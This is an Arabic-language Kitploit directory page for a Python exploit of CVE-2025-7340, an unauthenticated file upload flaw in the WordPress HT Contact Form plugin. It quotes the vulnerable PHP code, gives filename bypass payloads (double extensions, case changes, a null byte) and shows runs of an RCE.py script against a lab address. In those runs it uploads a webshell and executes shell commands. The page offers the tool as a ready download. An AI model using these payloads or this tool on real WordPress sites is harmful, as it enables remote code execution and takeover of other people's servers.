Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
WordPress-HT-Contact-CVE-2025-7340-RCE — استغلال Python لـ CVE-2025-7340، ثغرة رفع ملفات غير مصادق عليها في أداة HT Contact Form الخاصة بـ WordPress، مما يتيح تنفيذ الأوامر عن بُعد عبر نشر ويب شيل. | Kitploit
أدوات/GitHubGitHub/kai-one001/wordpress-ht-contact-cve-2025-7340-rce
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالشيل كوداستغلال تطبيقات الويباختبار الاختراق
GitHubkai-one001/wordpress-ht-contact-cve-2025-7340-rce

WordPress-HT-Contact-CVE-2025-7340-RCE

استغلال Python لـ CVE-2025-7340، ثغرة رفع ملفات غير مصادق عليها في أداة HT Contact Form الخاصة بـ WordPress، مما يتيح تنفيذ الأوامر عن بُعد عبر نشر ويب شيل.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
عرض المستودع
1منذ سنة واحدةلم تتم المراجعة بعد
مشاركة

WordPress HT Contact Form Widget | CVE-2025-7340 تحليل ثغرة رفع الملفات

موقع الثغرة

موقع الثغرة: ht-contactform/admin/Includes/Services/FileManager.php الوظيفة الرئيسية: temp_file_upload()

1. نقطة الثغرة الرئيسية: الدالة temp_file_upload

root@kitploit:~
#63行
public function temp_file_upload($file) {
  $destination = "{$this->dir}/temp";
  $this->maybe_create_directories($destination);
  // Validate file
  $validation = $this->validate($file);
  if (!$validation['valid']) {
​    wp_send_json_error($validation['message']);
​    return;
  }

  // Process the file
  $filename = $this->process_filename($file['name']);
  $file_path = "{$destination}/$filename";
  // Move file to temporary directory
  if (move_uploaded_file($file['tmp_name'], $file_path)) {
​    wp_send_json_success([
​      'file_id' => $filename,
​      'file_name' => $file['name'],
​      'file_size' => $file['size']
​    ]);
​    return;
  }
}

2. نقطة دخول الثغرة: معالجة AJAX

موقع الملف: ht-contactform/admin/Includes/Ajax.php:

root@kitploit:~
#46-47行
add_action('wp_ajax_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
add_action('wp_ajax_nopriv_ht_form_temp_file_upload', [$this, 'temp_file_upload']);

المشكلة: استخدام خطاف wp_ajax_nopriv_، مما يعني أن المستخدمين غير المصادق عليهم يمكنهم أيضًا الوصول إلى وظيفة رفع الملفات.

تحليل السبب الجذري:

  • نقص التحقق من نوع الملف: في دالة validate في FileManager.php، يتم فقط فحص أخطاء رفع PHP، ولا يوجد أي تحقق من نوع الملف أو الامتداد أو نوع MIME.
  • عدم استخدام تكوين نوع الملف: يحدد المكون الإضافي الملفات المسموح بها في Fields.php، ولكن يتم استخدامها فقط للتحقق من جانب العميل (خاصية accept) أثناء عرض النموذج، ولا يتم استخدام هذه التكوينات للتحقق على جانب الخادم على الإطلاق.
  • معالجة اسم الملف غير آمنة بما فيه الكفاية: تعالج sanitize_file_name() الأحرف الخاصة بشكل أساسي، ولا تمنع الامتدادات الخطيرة، ويمكن للمهاجم رفع ملفات مثل .php، .php3، .phtml إلخ.

3. مشكلة التحكم في الوصول

root@kitploit:~
// Ajax.php 第46-47行
add_action('wp_ajax_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
add_action('wp_ajax_nopriv_ht_form_temp_file_upload', [$this, 'temp_file_upload']);

تحليل المشكلة:

  • يمكن للمستخدمين غير المسجلين الدخول أيضًا الوصول إلى وظيفة الرفع
  • يعتمد فقط على التحقق من nonce، مما قد يتم تجاوزه

سيناريو الهجوم

  1. هجوم مباشر: يمكن للمهاجم إرسال طلب POST مباشرة إلى /wp-admin/admin-ajax.php مع action = ht_form_temp_file_upload

  2. تجاوز التحقق من جانب العميل: يستخدم جانب العميل خاصية accept لتقييد أنواع الملفات، ولكن يمكن للمهاجم تجاوزها بسهولة

  3. تنفيذ الملف: يمكن تنفيذ ملفات PHP المرفوعة بواسطة خادم الويب، مما يؤدي إلى تنفيذ تعليمات برمجية عن بعد

1. تجاوز الامتداد المزدوج

root@kitploit:~
shell.php.jpg
shell.php.png
shell.php.gif

2. تجاوز حالة الأحرف

root@kitploit:~
shell.PHP
shell.Php
shell.pHp

3. حقن البايت الفارغ (إذا كان تكوين الخادم يسمح بذلك)

root@kitploit:~
shell.php%00.jpg

4. سكريبت Python

لاحظ أن عنوان URL يكون صالحًا فقط إذا كانت المقالة التي تم نشر المكون الإضافي فيها موجودة، لذلك أضفت وظيفة script kiddie 02


01[اختبار فردي] مثال:

root@kitploit:~
python RCE.py -u http://192.168.162.131:8081/2025/08/04/test-0-1/

بدء المحاولة.......
جارٍ الحصول على الصفحة المستهدفة...
جارٍ استخراج المعاملات...
Nonce المستخرج: b05a39ff55
نقطة نهاية AJAX: http://192.168.162.131:8081/wp-admin/admin-ajax.php
معرف النموذج: 6
جارٍ إنشاء webshell...
جارٍ رفع shell، يرجى الانتظار...

[+] تم استغلال الثغرة بنجاح!

عنوان Webshell: wp-content/uploads/ht_form/temp/6890c4e6f389c-shell.php

[+] تم الدخول إلى وضع التفاعل مع shell، أدخل 'exit' للخروج!
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell> exit
تم الخروج من وضع التفاعل

02[اختبار الدليل الجذر] مثال:

root@kitploit:~
python RCE.py -r http://192.168.162.131:8081
[*] يرجى إدخال التاريخ (الافتراضي 20250804):
[*] التاريخ المستخدم: 20250804
[*] جارٍ مسح التاريخ: 2025-08-04
[*] عنوان المسح: http://192.168.162.131:8081/2025/08/04/
[*] تم العثور على المقالة 2: Test.0.1
[*] تم العثور على المقالة 3: 8 月 4, 2025
[*] تم العثور على المقالة 6: 世界,您好!
[*] تم العثور على المقالة 7: 8 月 4, 2025
[*] بدء استغلال الثغرة...

[*] جارٍ استغلال: http://192.168.162.131:8081/2025/08/04/test-0-1/
بدء المحاولة.......
جارٍ الحصول على الصفحة المستهدفة...
جارٍ استخراج المعاملات...
Nonce المستخرج: b05a39ff55
نقطة نهاية AJAX: http://192.168.162.131:8081/wp-admin/admin-ajax.php
معرف النموذج: 6
جارٍ إنشاء webshell...
جارٍ رفع shell، يرجى الانتظار...

[+] تم استغلال الثغرة بنجاح!

عنوان Webshell: wp-content/uploads/ht_form/temp/6890c53ca8d5c-shell.php

[+] تم الدخول إلى وضع التفاعل مع shell، أدخل 'exit' للخروج!
shell> whoami
www-data
shell> ls
68908c7a7f86d-shell.php
68908fdbba025-shell.php
6890917c70228-shell.php
6890919055905-shell.php
689094afb2f6e-shell.php
6890977a20a7c-shell.php
689097bf2dce9-Users.txt
6890c4e6f389c-shell.php
6890c53ca8d5c-shell.php
index.php
shell> exit
تم الخروج من وضع التفاعل
تنزيل الأداة